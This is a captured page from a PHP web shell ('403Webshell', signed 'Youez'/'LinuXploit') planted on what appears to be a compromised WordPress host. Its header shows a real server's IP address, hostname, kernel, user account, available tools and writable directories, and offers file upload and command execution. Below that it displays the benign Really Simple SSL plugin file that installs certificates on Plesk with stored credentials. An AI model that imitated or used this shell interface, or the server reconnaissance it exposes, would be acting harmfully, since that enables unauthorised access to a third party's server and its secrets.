403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/www/wp-content/plugins/really-simple-ssl/lets-encrypt/integrations/plesk/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/www/wp-content/plugins/really-simple-ssl/lets-encrypt/integrations/plesk/plesk.php
<?php
/**
 * @package PLESK
 * @author Rogier Lankhorst
 * @copyright  Copyright (C) 2021, Rogier Lankhorst
 * @license    http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3
 * @link       https://really-simple-ssl.com
 * @since      Class available since Release 5.0.0
 *
 *
 *   This program is free software: you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation, either version 3 of the License, or
 *   (at your option) any later version.
 *
 *   This program is distributed in the hope that it will be useful,
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *   GNU General Public License for more details.
 *
 *   You should have received a copy of the GNU General Public License
 *   along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 */

use PleskX\Api\Client;

require_once rsssl_le_path . 'vendor/autoload.php';
require_once( rsssl_le_path . 'integrations/plesk/functions.php' );

class rsssl_plesk
{
	public $host;
	private $login;
	private $password;
	public $ssl_installation_url;

	/**
	 * Initiates the Plesk class.
	 *
	 */
	public function __construct()
	{
		$password = RSSSL_LE()->letsencrypt_handler->decode( rsssl_get_value('plesk_password') );
		$host = rsssl_get_value('plesk_host');
		$this->host =  str_replace(array('http://', 'https://', ':8443'), '', $host);
		$this->login = rsssl_get_value('plesk_username');
		$this->password = $password;
		$this->ssl_installation_url = 'https://'.$this->host.":8443/smb/ssl-certificate/list/id/21";
	}

	/**
	 * Check if all creds are available
	 * @return bool
	 */
	public function credentials_available(){
		if (!empty($this->host) && !empty($this->password) && !empty($this->login)) {
			return true;
		}
		return false;
	}

	/**
	 * Install certificate
	 * @param $domains
	 *
	 * @return RSSSL_RESPONSE
	 */
	public function installSSL($domains){
		$key_file = get_option('rsssl_private_key_path');
		$cert_file = get_option('rsssl_certificate_path');
		$cabundle_file = get_option('rsssl_intermediate_path');

		try {
			$client = new Client($this->host);
			$client->setCredentials($this->login, $this->password);
			$response = $client->certificate()->install($domains, [
				'csr' => '',
				'pvt' => file_get_contents($key_file),
				'cert' => file_get_contents($cert_file),
				'ca' => file_get_contents($cabundle_file),
			]);
			error_log(print_r($response,true));
			update_option('rsssl_le_certificate_installed_by_rsssl', 'plesk');
			delete_option('rsssl_installation_error' );
			$status = 'success';
			$action = 'continue';
			$message = __('Successfully installed SSL',"really-simple-ssl");
		} catch(Exception $e) {
			error_log(print_r($e,true));
			update_option('rsssl_installation_error', 'plesk');
			$status = 'warning';
			$action = 'continue';
			$message = $e->getMessage();
		}
		return new RSSSL_RESPONSE($status, $action, $message);
	}

}


Youez - 2016 - github.com/yon3zu
LinuXploit